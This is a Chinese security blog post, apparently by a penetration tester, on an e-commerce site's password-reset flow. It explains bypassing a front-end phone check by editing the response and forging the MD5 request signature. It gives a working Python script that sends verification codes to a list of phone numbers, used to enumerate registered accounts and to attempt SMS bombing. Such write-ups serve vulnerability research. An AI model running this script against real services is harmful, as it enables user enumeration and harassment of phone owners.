一例遍历手机号发送验证码

遍历手机号发送验证码问题

Posted by hmoytx on September 7, 2020

一例遍历手机号发送验证码

起因

搬砖的时候收集的资产中有这么一个站点,测了下发现存在遍历手机号发送验证码问题,但是人家不收,就记了下来。

过程

是一个电商公众号的web,看到登录就里面的注册,忘记密码,就想有戏了。
200907_1
第一个问题,前端绕过。
200907_2
这里的验证码就没用,直接绕过,本身是会对手机号进行一次校验,看是否注册。
修改返回包的内容为1,直接进入到重置密码页面,后面尝试绕过就不行了,后面还是有校验的。
200907_3
然后测试下验证码发送。
200907_4
发现后面带了一串时间戳,签名之类的东西,看起来不复杂,可以用脚本直接写。查看下页面的js源码。
200907_5
比较简单,生成一个随机6位数,时间戳,md5加密,脚本实现不难。

脚本

import requests
import time
import random
import hashlib




if __name__ == '__main__' :



    headers ={
        "User-Agent": "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Mobile Safari/537.36",
        "Origin": "http://xxxx.cn",
        "Referer": "http://xxxx.cn/gotonext.html?mobile=13588888888",
        "Accept-Encoding": "gzip, deflate",
        "Cookie":"xxxxxxx"
    }

    t = int(time.time() * 1000)
    nonce = str(int(round(random.random(), 6) * 1000000))
    if len(nonce) < 6:
        nonce = "0" + nonce

    file = open("./phoneNum.txt", "r")
    for phonenum in file:
        t = int(time.time() * 1000 + random.random()*10*1000000000)
        nonce = str(int(round(random.random(), 6) * 1000000))
        if len(nonce) < 6:
            nonce = "0" + nonce

      

        requrl = "http://xxx.cn/sendmobilecode.htm?timestamp=" + str(t) + "&nonce=" + nonce + "&sign=" + hashlib.md5((nonce + str(t)).encode()).hexdigest()
        data = {
            "mobile": phonenum
        }

        r = requests.post(url=requrl, data=data, headers=headers)
        print(r.content)


测试

准备了一个字典,跑一下,有几条会错误,大多能成功,尝试短信轰炸发现手机号单日有次数限制就放弃了。
200907_6
转码下,能遍历注册信息。
200907_7